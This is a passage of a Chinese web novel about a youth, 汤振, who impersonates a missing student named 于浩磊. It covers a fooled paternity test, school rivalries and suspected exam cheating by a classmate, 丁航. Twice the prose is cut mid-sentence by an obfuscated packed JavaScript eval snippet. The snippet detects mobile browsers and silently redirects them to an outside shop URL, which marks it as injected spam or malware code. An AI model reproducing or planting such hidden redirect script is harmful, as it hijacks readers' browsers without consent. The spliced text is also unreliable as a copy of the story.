那张单子,是一份个人亲子鉴定报告书。 在检测结论那页,赫然印着两行醒目的文字: “检测结果支持于浩磊DNA样品与许艺岚提供的DNA样品之间符合孟德尔遗传定律,即DNA样品的提供双方符合生物学亲子关系”。 出具结果的日期,正是今天。 深夜,整个客厅寂静得只有挂钟秒针走动的“嘀嗒”声,每一声都像是敲在汤振的皮肤上,让他感觉汗毛竖立。 “你妈妈肯定是拿我枕头上的头发去检测了!”汤振从齿缝里挤出一句话。 于浩宁深呼吸了一口气。虽然客厅已经关了灯,但仍能在黑暗中感觉汤振的眼神里充满了一阵后怕的神色。 “太险了。”于浩宁用只有两人能听见的声音说道。 “是啊,还好你每天都会把你的头发放我枕头上。”汤振强行让自己的内心冷静下来,双手撑在餐桌边缘,静静盯着那份报告。 此时此刻,汤振只觉得那些所谓的街头智慧,简直就像纸一样脆弱。 于浩宁轻轻将那张纸压平,塞回了刚才那堆文件中,让它看起来像是没被人动过的样子。 汤振喑哑道:“既然咱妈去做亲子鉴定,就说明已经开始怀疑我了。” 于浩宁低低叹了口气,伸手握住汤振的手腕,“没事,至少……” “至少这说明我演得不够好,妈才不得已要去医院验DNA来证明我和她的关系。”汤振的语气里充满挫败感。 “但检测结果也算打消了她的疑虑,不是吗?”于浩宁看着汤振,眼神逐渐变得坚定。 汤振任由于浩宁抓着自己的手腕,眼神闪躲地点了点头,“嗯,嗯。” 于浩宁继续道:“从现在起,这份报告就是一块免死金牌,就算你以后表现得再怎么离谱,她也只会觉得是你受了刺激,不会再怀疑你的身份。” 汤振静静坐在黑暗的客厅里,此刻的心跳和挂钟“嘀嗒”声渐渐趋于一致。 于浩宁的手握得更紧了,“哥,开弓没有回头箭。” 汤振缓过神来,颔首道:“是,我现在不能退出了。学校的老师、同学……他们所有人都认定我就是于浩磊。” 于浩宁抿了抿嘴,眼神中充满了鼓励,“这场戏,咱们就硬着头皮,一直唱下去吧。” 汤振抬眉看着眼前的少年,于浩宁眼中因恐惧和刺激而显得有些疯狂的神色,让汤振内心的不安渐渐散去。 “行,只要家里稳住了,外面那些人,我就可以放下心来应付了。”汤振缓了缓语气道。 时间接近午夜,汤振和于浩宁轻手轻脚收拾完东西,也各自上床睡觉了。 十月,在一片平静和起伏的交错中过去。 天气逐渐转凉。 11月1日清晨,许多人已经开始穿上了加厚的外衣,好在浥鸣县离海不远,一件短袖加一件外套,也足以让人感到温暖。 浥鸣县警察局第一分局内,各类事务忙碌如常。 办公室的窗户上凝了一层薄雾,邢警官揉了揉布满血丝的眼睛,死死盯着电脑屏幕上无数张模糊的监控截图。 “邢队,六月的意外事故案子,嫌疑人的逃跑路线有新线索了!” 闻言,邢警官转过头,只见一个年轻警员正推开门走进来。 警员手里捏着一份报告,语气爽朗又激动:“我们中队花了一个月的时间,排查了沿路十四个老旧街区的监控器。我们发现,虽然那小子一直挑没有监控的小巷子钻,但在南边的加油站附近,他还是被拍到了一个模糊的侧影!” 邢警官坐直了身子,放下手里的文件,抬头问道:“然后呢,跑哪边去了?” “从那条路的方向和加油站的高清摄像头来看,嫌疑人当晚应该顺着货车道,连夜跑出浥鸣县了。”警员答道。 “跑出咱们县了?”邢警官的眉头皱成一个“川”字。 警员点点头,“是,这一点可以确定。” “那后来有再回来过吗,嫌疑人的社会关系查清楚没有,他到底是哪里人?”邢警官一连串提出三个疑问。 警员有些无奈地摇了摇头,“这也是最让人头疼的地方,那一片是城中村,人口流动极强。至于有没有再回来过……这个目前还没能查到。” 邢警官疲惫地打了个哈欠,一掌拍在桌子上,烦躁地站起身,走去饮水机接水。 “没查到,没查到,一个月了,就这么点儿线索,难道要顺着六月份的监控,一天一天地永远查下去吗?” 抱怨完,邢警官喝了一口热水,又朝警员道:“算了……你们也确实辛苦。” 年轻警员咽了口唾沫,赔笑道:“邢队,整个县城确实也太大了,出入城口的监控每天经过几万辆车、几万个人,如果嫌疑人稍微乔装打扮一下,哪怕只是换个发型,我们那边就会增加许多的工作量,这无异于大海捞针。” 邢警官放下水杯,无力地坐回了椅子上,叹道:“大海捞针也得捞呀。” 看着外面灰蒙蒙的天空,邢警官眼神里透着一股特有的坚定。 警员不好意思地赔笑一阵,在一旁低头称是。 邢警官双手十指交叉握紧,手肘撑在桌面上,眼神镇定自若,“没关系,凡事慢慢来。只要嫌疑人还活着,他就需要吃饭,睡觉,和人打交道,我就不信他能凭空蒸发。” “明白,功夫不负有心人。”警员应道。 “天网恢恢,疏而不漏。你们回去以后,扩大排查范围,继续查。”邢警官的眼神充满了肯定。 天色阴沉,警察局在一片灰蒙蒙的天空之下,显得格外宏伟。 寒凉的空气和尚存温热的海风夹杂在一起,吹过警察局,穿梭在无数街巷里,飘向浥鸣县第二中学校。 此刻,课间操刚结束,操场上的凉意被汗水尽数驱散。 汤振双手插在校服兜里,顺着大多数人的方向,往教学楼走去。 因为呼吸了太多冷热交替的空气,汤振忍不住咳了两声。 旁边突然插进一个声音: “诶……浩磊。” 闻言,汤振侧过头,只见伍泓正将校服挂在肩上,出现在自己右手边。 距离 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17575471|205002||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 伍泓给自己道歉已经过去一个多月,汤振只觉得这短时间伍泓安静得像个透明人,今天主动凑上来搭话,倒让汤振一时有些尴尬。 “你有点咳嗽,是感冒了吗?”伍泓神色自然,眼里透着一丝关心。 汤振咽了口唾沫,摇头道:“喉咙有点不舒服而已。” “我书包里有薄荷糖和消炎药,需不需要拿给你?”伍泓关切地问道。 “哦,不用了,谢谢,”汤振扯了扯嘴角,边走边低声道:“今天下午还有运动会的训练呢,有些药吃了容易打瞌睡。” “也对,运动会要到了,”伍泓自然而然接过话,又有些漫不经心地问道:“你报了什么项目?” 汤振内心有些不耐烦,但语气仍保持友好:“短跑。” “哦,”伍泓颔首道:“也是在操场那边训练么?” “嗯。” 虽说汤振并不想和伍泓多说话,但心里仍觉得有些尴尬,况且伍泓也给自己道了歉,今天也属实是关心自己,一直对别人爱答不理的,未免太刻意了。 想到这里,汤振忽然记起之前在办公室看到的资料,伍泓去年填写高考目标院校时,很有勇气地填了“平州大学”。 除了这个话题以外,汤振一时也实在不知该聊什么,于是放缓脚步,看向伍泓,问道:“你知道平州大学去年的录取分数线是多少吗?” “高考满分1000分,要考到857分才行,而且高考成绩只占60%,平州大学自己的笔试和面试再占40%的成绩。” 伍泓几乎是条件反射一般,瞬间报出了这个精准的结果。 汤振“嗯”地答应一声,笑道:“那明年6月的高考,你有把握考到平州大学的分数线吗?” 伍泓强颜笑了笑,语气里似乎带着一点自嘲的意味,话锋一转:“也不一定非要考平州大学。其实,只要专业是好专业,其他大学……也可以考虑。” 两人闲聊者,也走到了教学楼下方。 伍泓朝远处抬了抬手,“那我走那边的楼梯口上去,你注意身体,下午训练的时候注意安全。” “谢谢,你也好好复习吧,祝你考得好成绩。”汤振平静应和道。 望着伍泓渐渐远去的背影,汤振站在原地,情绪复杂地摇了摇头。 上午的时间很快便过去。 下午四点半,操场一侧的沙坑,已有不少学生在这里训练。 阴云散去,夕阳将天空照得绯红,和田径场上的红色塑胶跑道有些相衬。 “我还是跳得不够远啊,哥。” 于浩宁无力地躺沙坑边的干净地面上,双腿轻微颤抖。 “叫你平时不锻炼,看你瘦成这样。”汤振佯怒道。 此时的汤振刚轻松跑完三组百米冲刺,连汗都没出几滴,现在蹲在于浩宁身边,双手专业地捏着于浩宁的小腿,帮他按揉。 在街头混迹多年,这种处理跌打损伤的手法,汤振还是会一些的。 “嘶……轻点。”于浩宁哭笑不得地喊道。 一阵清新的微风吹过,带来淡淡的薄荷香气。 “于浩磊,终于找到你了。”一个熟悉又轻快的女声传了过来。 汤振抬起头,双手却仍抓着于浩宁的小腿。 只见申雅丽穿着一身干净的校服,手里拿着一个透明塑料袋,站在两米开外的地方,深秋的夕阳打在她的发梢上,镀了一层橙红的光晕。 “雅丽学姐。”于浩宁躺在地上,龇牙咧嘴地朝申雅丽打了个招呼。 “你俩训练辛苦了,”申雅丽笑了笑,随后将目光转向汤振,“听说你今天嗓子不太舒服,我刚才去校医院买了一点不容易过敏的消炎药,还有一盒润喉片。你刚训练完,别喝冷水,含一片这个,润润嗓子吧。” 说完,申雅丽便将手中的塑料袋递向了汤振。 汤振停下手里的按摩动作,站了起来,却没有立刻接过那个袋子。 “太谢谢你了,”汤振似乎保持着一种恰到好处的客气,“不过我真没事,就是嗓子干。现在快到冬天了,你也要注意,别感冒了。” “普通的药,没花什么钱,买都买了,你就拿着吧,”申雅丽伸出手,将塑料袋递到汤振胸前,笑道:“你才回来两个月,还是要注意身体的,别逞强。” 汤振有些不自在地笑了笑,接过申雅丽手中的塑料袋,两人开始有一句没一句地闲聊了起来。 不远处的观众席,教导主正冷冷地坐在塑料椅上,目光扫视着操场上训练的人群,手里拿着一个硬壳笔记本,记录着今天的训练情况。 忽然,教导主任锐利的目光,精准锁定在了汤振和申雅丽身上。 观察片刻,教导主任神色一变,重重地合上了笔记本,起身朝汤振的方向走去。 19. 操场上的争执 汤振还没来得及将手中的塑料袋塞回申雅丽手中,一道狭长冰冷的影子,就已经悄无声息地从斜后方笼罩了过来。 “咳咳!” 教导主任两声刻意的咳嗽,像一把剪刀,瞬间剪断了沙坑边青春美好的画风。 汤振和申雅丽同时看向咳嗽声这边。 只见教导主任双手交叠在胸前,神色凝重地走了过来,她那双藏在镜片后的眼睛在汤振和申雅丽身上扫了个来回。 “申雅丽,”教导任开口道:“我记得你这学期高三了吧,下午第四节自习课,你不去刷题,反而跑来高一的训练场送东西,是怎么回事?” 申雅丽捏着衣角,“主任,这是药品,我听说于浩磊今天有点不太舒服……” “听谁说?”教导主任板着脸道:“老同学之间在学习上互相帮助,我从不干涉。但这些私事,于浩磊自己有手有脚,校医室离这里也不过500米,他自己能解决。” 教导主任又上前一步,压低了声音,继续道:“申雅丽,你现在的首要任务是保住你的年级第二,最好是努努力,冲个年级第一。” 说到一半,教导主任看了一眼旁边的汤振,又放缓了语气,继续对申雅丽说道: “去年的迎新晚会之后,就有学生谣传,说你跳的那支舞,是专门为失踪的于浩磊跳的,我当时是一点儿不信,但现在你在大庭广众之下给他送东西,是非要落人口实才满意吗,非得把早恋的帽子扣在自己头上才开心吗?” 申雅丽脸色瞬间变红,低眉摇了摇头,一句话也没解释。 汤振想也没想,下意识开口道: “主任,既然您也说了那是谣传,那您怎么不去惩罚那些在背后造谣生事的人,反而要在这里为难一个只是好心帮忙带盒药的女生呢?更何况,同学之间互相帮助也算早恋吗?” 汤振举了举手里的塑料袋,“造谣的人没花什么成本,受害者却要为了谣言而避嫌,没有这样的道理。” 仍躺在沙坑边的于浩宁大气也不敢喘,眼神在汤振和教导主任身上来回切换,似乎已经忘了小腿的酸痛。 申雅丽也抬起头来,眼神闪烁地望着汤振,欲言又止。 场面一时安静了下来,只有微风穿过操场的声音。 三人在夕阳下僵硬地站着将近十秒,于浩宁也在一旁强行躺了许久。 片刻后,教导主任的神色露出了几分不自在,语气却没有了刚才的生硬,只静静地看了汤振几秒,眼神中似乎还带着一丝审视。 “牙尖嘴利。” 教导主任冷冷地丢下四个字,转身走向了远处的铅球训练处。 刚走出几步,教导主任又回过头,冲着躺在地上的于浩宁道:“于浩宁,过来帮体育老师牵一下测量尺!” 此时,班长江悦也姗姗来迟,沿着跑道,一路小跑进了田径场。 教导主任又朝班长挥挥手,喊道:“江悦,你和于浩宁一起,也来帮体育老师牵一下测量尺吧。” 于浩宁呼出一口气,撑着塑胶跑道,双腿颤抖站了起来,朝远处的教导主任和体育老师走了过去。 汤振看着教导主任远去的背影,惊讶之余,更多的是感到一阵无语。 看着红了眼的申雅丽,汤振叹了口气,劝慰道:“你别往心里去,教导主任就是这臭脾气。不过那些同学也是够无聊的,跳一支舞就这么多人造谣,难怪迎新晚会那晚,那个高二的男生也来跟你打听这件事……” “没关系的,于浩磊,”申雅丽脸上浮现出了一丝稳定,“虽然他们那样说,但本意并不是想造我的谣,今年的迎新晚会,那个高二的学弟也确实是真心喜欢我的舞蹈。其实,大家说我是为你跳的舞,也只是说着玩而已。我的同班同学,还有学弟学妹他们,当时听说你失踪了,都是带着希望你平安回来的心态开玩笑说我是为你跳的舞。” 汤振这才放心,点了点头,“这样啊,那就好,我还以为你受了好大的委屈。” “刚才是真的受了委屈,”申雅丽抱怨道:“教导主任不知全貌,误以为大家是在造我的谣,刚才还用那种语气问我是不是想早恋,我是真的有点无语。” 汤振将手中的塑料袋紧紧夹在臂弯里,颔首道:“行,那就好……但是我还有个问题。你们高三平时下楼都嫌浪费时间,今天怎么这么巧,这个时候来送东西?” 申雅丽依言答道:“是伍泓早上告诉我的。” “伍泓?” “对啊,”申雅丽点了点头,“今天中午在食堂碰到他,他说课间操时听到你咳嗽,让我方便的话,给你买点药。只不过他说,我如果直接去你们班找你,其他同学可能误会我们的关系,所以他建议我趁你们下午训练的时候来操场找你。这会儿正好是下午第四节自习课,我就去买了药拿过来。” 汤振无奈地笑着摇了摇头,“那看来伍泓也够细心了,只能说,他也没想到教导主任会这么负责吧。” “怎么个负责法?”申雅丽不解。 汤振又忍不住咳了两声,“负责就负责在,我只要稍微露出点破绽,她就跟装了雷达一样,精准地抓住我的把柄……行了,你快回去复习吧。” 申雅丽点了点头,转身小跑着走开了。 汤振深呼吸了一口气,如释重负。 没过多久,又有一个女生从不远处信步走来,逐渐接近汤振。 “同学……你好。”一个扎着马尾辫,手拿笔记本的女生朝汤振打了招呼。 “你好,请问你是……”汤振还未从刚才的情绪中完全缓过来。 那女生自我介绍道:“哦,你好,我是高一4班的陈蓉萱。” 汤振强颜笑了笑,问道:“你好,请问有什么事吗?” 陈蓉萱浅笑一许,指了指正在铅球训练处的于浩宁,朝汤振问道:“刚才我看你一直在帮那个男生揉腿按摩,他也是报名参加运动会的人吗?” “对啊,他报了三级跳远。”汤振不明所以地回答。 “哦,那太好了,”陈蓉萱立刻掏出笔记本,解释道:“我是后勤保障部那边的学生助理,想记录一下各个班级参赛选手的训练效果和心理状态。” 汤振的站姿逐渐放松,“哦……好的,那我怎么配合你?” 陈蓉萱又指了指远处的于浩宁,问汤振道:“那我们先问一些轻松的问题吧,如果10分满分的话,你会给那个男生打几分呢?” 汤振的眉头有意无意地皱了一下,心里觉得这个问题有些莫名其妙,但他表面上还是认真思索了片刻,答道: “10分吧,潜力无限,主要是他精神可嘉。” 陈蓉萱唰唰地记了下来,又问道:“那个男生跟你是一个班的吗,平时在班里人缘怎么样呢?” “是我同班同学,平时人缘也还行吧。” “那他叫什么名字呢?” 汤振正欲开口:“他叫……” 话音未落,忽然,一个熟悉又清冷的女声抢先反问道: “——陈蓉萱!你到底是真的在做调查,还是在打探我们班同学的隐私?” 只见班长面无表情地走了过来,反问陈蓉萱。 汤振被班长突然出现的声音吓一跳,转头看了过去。 班长推了推眼镜框,目光带着审视的意味,盯着陈蓉萱手里的笔记本。 “江悦,你管得也太宽了吧!我只是做调查而已。”陈蓉萱的声音顿时提高了八度。 “是吗?”班长扯了扯嘴角,往前迫近一步,质问道:“那我现在就去问问体育组和保健部的老师,看看他们有没有下发过这种无聊的调查!” 说完,班长眼神直勾勾地盯着陈蓉萱。 汤振在一旁大气不敢喘,识趣地退后了两步。 “江悦!你……你神经病吧?多管闲事!” 陈蓉萱满脸通红,恶狠狠地骂了一句,“哐”地合上笔记本,大步走出了田径场。 见陈蓉萱走远,汤振这才敢上前两步,开口道:“班长……威武啊。” 班长朝汤振翻了个白眼,“于浩磊,你怎么这么不会拒绝别人呀?这种无效的社交和居心叵测的试探,只会让你的生活多出一堆烦心事。” 正说着话,远处的于浩宁拖着酸痛的双腿,一瘸一拐地朝汤振和班长两人走了过来。 班长看向于浩宁,语气恢复了平静:“于浩宁,刚才4班有个女生来打听你的消息。以我的经验来看,她可能是想要你的联系方式。” 于浩宁眼睛一瞪,看向汤振。 汤振也双手一摊,撇了撇嘴,“我也不懂。” 于浩宁一脸苦笑,“班长,你放心,我肯定不敢违反校规,我只想好好学习,绝不早恋。” 汤振看着于浩宁的苦瓜脸,在旁边差点笑声来。 班长也有些无奈地摇了摇头,“你别这么紧张嘛,我不是替教导主任来警告你的,我只是转告一下这件事,提醒你注意分寸。至于你到底想怎么样,我也没有权利管,毕竟这是你的私事。” “好的,好的……”于浩宁点头道。 天空逐渐变成紫红色,太阳落山的时间比上个月又早了些许。 “叮铃铃——” 下午的放学铃声,适时在校园上空响起,操场上的学生们像脱缰的野马一样,纷纷朝食堂的方向狂奔。 “行了,训练结束,去吃饭吧。”班长收起皮尺,说完便准备离开。 汤振像是想到什么似的,快步跟了上去,趁机追问道:“班长,请等一下!你刚才对那个陈蓉萱……你们俩之间是不是闹过什么矛盾呀?” 班长的脚步微微顿了一下,眼里似是闪过一丝阴霾,但很快又消散。 “有机会再解释吧,”班长淡淡回应着,语气里透着疲惫:“现在我也懒得说,咱们都先去吃饭吧,去晚了食堂就只有剩菜了。” 说完,班长径直走向了食堂的方向,留给汤振一个稍显冷峻的背影。 汤振看着离开田径场的班长,心里若有所思,但训练带来的些许疲惫,又把这份好奇心冲得一干二净。 正准备扶着于浩宁去食堂,汤振忽然觉得口干舌燥。 “我们先去博学楼大厅买瓶水吧。”汤振提议道。 于浩宁点头同意,两人便朝着博学楼走去,汤振继续走向自动贩卖机,于浩宁则在另一侧的洗手间里清洗沾满泥沙的双手。 汤振走到了自动贩卖机前,眼神又不自觉地看向了最外面那一台机器。 就是这台机器,第一次吞了自己两瓶饮料钱,第二次又吞了自己一瓶饮料钱。 虽然第二次是因为自己不信邪,故意试的,但一想起那天摇机器时被教导主任抓住,说自己毁坏公物,汤振心里的怒气便又冲上了心头。 此时,旁边几台自动贩卖机刚好在更新货品,两位工作人员认认真真地检修完机器,又将货物一箱一箱搬过来,放进机器里。 汤振走到最外边那台“与众不同”的贩卖机前,眼神深邃地上下打量。 机器安静得出奇,里面的每一瓶饮料仿佛都在嘲笑着汤振。 旁边 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17575472|205002||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的工作人员补完货物,正准备离开,汤振一下子叫住了他们: “两位师傅,能不能请你们也看看外边这台机子?” 工作人员停下了脚步,回头看向汤振。 汤振指了指最外边的机器,一脸难为情道:“这台机器已经连着吞了我两次钱了,每次都不出货,你们也检修一下这台机器吧。” 其中一名工作人员看向最外边的机器,摇了摇头,“小伙子,那台贩卖机不是我们公司的呀。” “不是你们的吗,”汤振愣了一下,“这大厅里一共就五台机子,怎么还归两个公司管……” “是啊,我们真管不了。” 工作人员一边收拾东西,一边接着解释道:“那台旧机器是另一家公司的,但那家公司四年前就倒闭了,机器也一直没人来收走,估计你们学校就索性把它当个装饰品摆那儿了。你投进去的钱,应该也没办法拿回来。” 汤振脸色一阵失望,“好吧,谢谢师傅,麻烦你们了。” 汤振只好选了另外一台贩卖机,买了两瓶矿泉水。 两名工作人员收拾好东西,离开了大厅,驾驶着皮卡车扬长而去。 于浩宁从卫生间洗完手出来,一边甩着手上的水,一边问道:“水买好没?快去食堂吧。” “买到了,我只是多问了一句那台破机器的事儿,人家说那台机器已经报废了,教导主任上次居然还好意思说我毁坏公物,这公物分明就是在吞我的钱。” 两人刚走到博学楼大厅的拐角处,准备前往食堂。 突然,汤振的余光瞥见一个熟悉的身影,迅速从另一个方向溜进了大厅。 汤振下意识拉住了于浩宁,回过头,借着傍晚的余晖,远远看向那个人影。 ——那是丁航。 汤振拉着于浩宁躲进了拐角处,远远观察着丁航的一举一动。 只见丁航左右探了一下脑袋,径直走到了最外边那台报废的自动贩卖机前。 随后,丁航从书包里掏出几张现金,顺利地把钱塞进了纸币投币口。 然而,丁航并没有按下任何购买按钮,也没有等待机器掉落任何东西,只是投了钱,就转过身,准备离开。 汤振眉头紧锁,远远喊道:“哎!丁航!” 丁航的身体像触电一样怔在原地,一时也忘了说话。 汤振一边走上前去,一边有些焦急地提醒道:“那台贩卖机是坏的,不出货,还吞钱!” 丁航强颜笑道:“哦哦哦……对!我,我刚才也发现了!” “你发现了吗,”汤振问道:“你都没按购买按钮,也没摇一下机器,扔完钱就跑,你钱多啊?” 丁航抱着怀里的书包,“我,我刚才已经摇过了,你隔那么远,没看清而已!” “你明明就……”汤振来不及反驳。 “我摇了几下,不出货就算了呗,还能怎样?我还要去吃饭呢,没空跟你废话!” 说完,丁航便一把将书包甩到身后,将肩带套在肩上,从汤振身边一溜烟跑走了。 看着丁航跑远的背影,汤振眼底的疑云越来越重,深邃无边。 于浩宁一瘸一拐地跟了过来,“哥,丁航是怎么回事?” “你刚才都听清了吧,你觉得呢?”汤振反问道。 于浩宁皱着眉头,“我也猜不到。” “行吧,别猜了,”汤振扶着于浩宁,朝食堂的方向走去,边走边问:“后天的期中考试,你准备得怎么样了?” “基本没问题,保持班上前五名应该还是可以的,”于浩宁又反问道:“倒是你,那些公式背熟了吗?要是考差了,你可真是把我哥的招牌给砸了。” “背熟啦……放心吧!” 汤振搭着于浩宁的肩膀,继续往前走去,却仍是忍不住回头远远望了一眼身后的博学楼大厅。 “你别搭我肩上啊,哥,我腿还痛着呢……” 暮色四合,天空如泼墨般吞噬了最后一丝晚霞。 日月繁星交替着,见证了接下来一天全校师生为期中考试所作的准备。 转眼,到了两天后。 11月3日,为期两天的期中考试,在凝重的氛围里正式拉开帷幕。 由于每个普通教室只能坐30名考生,所以每次全校大型考试不仅需要用到所有教室,就连音乐教室、汇报厅和礼堂等场合都布置成了考场,每个考生前后左右几乎都隔着一米远的距离。 汤振这次被分配到了稍微靠后的考场,而上次考全班第三的丁航,则坐在了靠前的考场,但汤振心里倒是一阵放松,因为这次终于不用在考试时还见到丁航那张讨厌的面孔了。 第一天的科目终于考完。 下午放学时,整个学校只有少数学生不紧不慢地走向食堂,其余学生都在教室里对答案,有人激动,有人失落。 一阵欢呼,一阵叹息,像交响乐一样,出现在每一间教室里。 汤振肚子饿得直响,实在是不愿再继续留在教室里对答案了,遂拉上于浩宁,准备去吃晚饭。 在教学楼的走廊上,汤振刚好听到几个路过的同学在闲聊: “你们说,丁航是不是开挂了?” “就是啊,他今天几乎都是提前20分钟交卷。” “那他确实厉害,这次的数学好难,最后两道大题我还没看题目!” “……” 听到这些议论,汤振加快了脚步,紧紧拉着于浩宁的手臂,朝楼梯口走去,急促的脚步掩盖住了同学们的交谈声。 20. 期中成绩 11月5日清晨,昨天刚结束的期中考试,今天就出了成绩。 高一3班的教室里,冷气从敞开的教室门钻入,但全班的情绪却像是沸腾的开水,几乎要把天花板掀翻。 教室的张贴栏旁边,密密麻麻围着看成绩的人。 汤振站在人群外面,手里拿着还没喝完的半瓶水,目光越过前面攒动的人头,定格在那张名单上。 第1名丁航,总成绩813分 第2名江悦,总成绩812分 第3名沈言峰,总成绩796分 第4名于浩宁,总成绩788分 …… 汤振将手里的矿泉水瓶捏得哐哐响,一直到全班第8名,才看到“于浩磊”三个字。 “哟,咱们的地理课代表,看傻眼了吧?” 丁航嚣张的声音从耳边传来。 汤振闻声看去,只见丁航双手插在校服裤兜里,晃晃悠悠地走到自己身前,他眼角的余光极其得意地瞥着那张排名表,整个人透着一种狂妄的骄傲。 丁航故意压低了声音,笑着皱眉看向汤振,“考了第8名,心里不好受吧?” 汤振不言,转过身,朝座位走了过去。 丁航的声音仍紧紧跟在汤振身后:“下午就是每学期一次的家长会了,你还是好好想想该怎么应付吧。” 汤振慢条斯理地抽出一张纸巾擦了擦嘴,连眼皮都没抬一下,“丁哥费心了。不过我们家管得不怎么严格,我爸妈也不是‘唯成绩至上’的家长。” 丁航收起了几分笑意,冷哼了一声,转身走回了自己的座位,但仍是满脸享受的样子,慵懒地听着周围对他的议论和钦佩。 教室的前排,班长江悦正刷着数学题,眉头微微蹙起,和她形影不离的孟晓芸正看着成绩单,替她打抱不平。 孟晓芸在班长身旁坐了下来,涨红了脸,低声叹道:“阿悦!这太邪门了吧?你平时每天复习到十二点,所有科目的知识点都能倒背如流,我觉得你已经做得非常好了,怎么这次没拿第一? 班长头也不抬地做着数学题,“可能是这次的作文我没写好吧。” “难不成是你这次作文写偏题了,分数比丁航低?”孟晓芸问道。 “偏题倒是没偏,作文只扣了6分,只是这次的作文属于抒情类,确实不是我最擅长的议论文。” 班长用手指撑着下巴思索,继续道:“我觉得这次的主题,沈言峰应该很擅长,不知道他作文得了多少分。” “对啊,”孟晓芸语气有些震惊:“我刚才问了,沈言峰这次作文拿了满分哦……但是话说回来,像丁航那种连古诗都背不全的人,居然也擅长这种抒情作文?听说他的作文只扣了1分。” 江悦沉默了片刻,转过头看向坐在椅子上懒懒散散的丁航,又看了一眼丁航身边安静做题的沈言峰,随后叹道: “不管怎么说,沈言峰的满分作文我是想借来拜读的。至于丁航……也许,他私底下真的看了很多书吧。” 第一节课上课前,班主任过来换了班上的座位,将班长从第一排换到了第二排,又将沈言峰从丁航旁边换到了班长前面。 丁航有些不服气,“老师,我又不是什么坏学生,把沈言峰从我旁边换走干嘛?” 班主任挺着孕肚,神色疲累,没多作解释,只道:“要是你平时上课认真点,我也不至于把沈言峰换走。你上课要是再调皮,以后你就一个人坐吧。” 丁航脸色不悦地点头答应,又帮沈言峰把东西搬去了班长前面。 两节课过后,来到了大课间。 课间操的铃声想起,汤振却被地理老师叫去了办公室,帮忙把高一3班这次半期考试的地理卷子清理出来,拿回教室发给大家,以便下节课评讲。 汤振刚推开办公室门,便觉得里面的压迫感像冰块一样冻人,抬眼一看,果然是教导主任站在里面,正端着保温杯,似是和其他老师在闲聊着什么。 汤振一进办公室,教导主任的目光便立刻像探照灯一样照了过来。 “于浩磊,你过来。”教导主任的声音冷硬如铁。 汤振硬着头皮走了过去,满脸堆笑道:“主任好。” “我看了你们班的成绩单,”教导主任放下保温杯,加重语气道:“你休学一年,现在回来重读高一,这些知识你都是学过一遍的了,怎么这次又没考过丁航?” 汤振低着头,做出一副虚心受教的样子,“主任,是我这段时间没调整好状态,对不起。” 教导主任语气放缓,“我听说你运动会报了两个项目。为班级争光是好事,但运动会训练的同时,别忘了你的主业是学习。当然,两手都抓也可以,只不过你要学会合理分配时间。” “是,主任,我会注意的。”汤振连连点头。 教导主任“嗯”了一声,便拿起一沓成绩单,转身走出了办公室。 汤振在心里朝教导主任翻了个白眼,随后慢慢走到地理老师的办公桌前。 老师正在清点早晨刚收过来的作业,冲着办公桌抬了抬下巴,吩咐道:“浩磊,那边的卷子,你清点一下,看看哪些是你们班的。” “好嘞。” 说完,汤振便开始清点那摞答题卡。 三分钟后,就在汤振触碰到其中一张答题卡时,他的目光像被钉住了一样,死死地定格在了那张纸上。 那张答题卡的姓名栏里,赫然写着两个大字:“丁航”。 最让汤振移不开眼睛的,不是那个刺眼的姓名,而是主观题答题框里,那密密麻麻的字迹。 答题卡上的字迹微微倾斜,每一处带转折的笔画,笔锋都特别明显。 汤振的目光骤然聚焦,脑海中不断搜索着回忆,心里暗暗觉得奇怪,但又说不上来是哪里出了问题。 大课间快要结束,汤振来不及多想,深吸了一口气,迅速清点完了班上同学的考卷。 “老师,我清点完了,先回教室了。” “行,你先拿回教室吧。” 汤振将全班的答题卡抱在怀里,转身走出了办公室,信步朝教室走去。 回到教室,距离下节课上课还有五分钟。 汤振将全班同学的答题卡发完后,径直走到了丁航的课桌旁。 “丁航,下节课地理课,我来抽查一下你的地理练习册。”汤振低头说道。 丁航正满头大汗地趴在课桌上打盹,也许是做课间操累着了,被汤振这么一喊,还没完全清醒,只好极不耐烦地从抽屉里扯出皱巴巴的地理练习册,扔在了桌上,又继续趴着打盹。 汤振没有生气,轻轻拿起那本练习册,一页一页地翻开。 果然! 汤振看着练习册里丁航端正的字迹,每一处笔画都顺滑无比,连转折的地方都看不出什么笔锋。 汤振将手中丁航的答题卡拿了出来,和练习册并排放在一起。 “丁航,”汤振双手撑在课桌上,身体微微前倾,极具压迫感地俯视着丁航道:“我有个疑问想要请教你。” 丁航又睡眼惺忪地坐直了身体,看着答题卡和翻开的练习册,脸色突然微变。 “你干什么?”丁航伸手想把答题卡抽回来,却被汤振的一只手紧紧按住。 “别急,”汤振提高了声音,语气带着一丝锋芒:“我就是好奇,你平时的字迹这么端正圆润,怎么一考试就倾斜刚劲了呢?” 汤振转眼看向丁航眉头紧锁的脸,挑明道:“你的答题卡上写的字,怎么和你平时的字,连亲戚都算不上?” 周围几个正在聊天的同学听到动静,也纷纷转过头来,目光落在那两份字迹天差地别的纸上,都露出了看热闹的表情。 丁航也毫不畏惧地和汤振对视着,大声道: “这有什么奇怪的吗?考试的时候时间太紧了,我写得急,字迹就变形了,没平时这么端正圆润。我要不写快一点儿,怎么能每堂考试都提前20分钟交卷呢?” 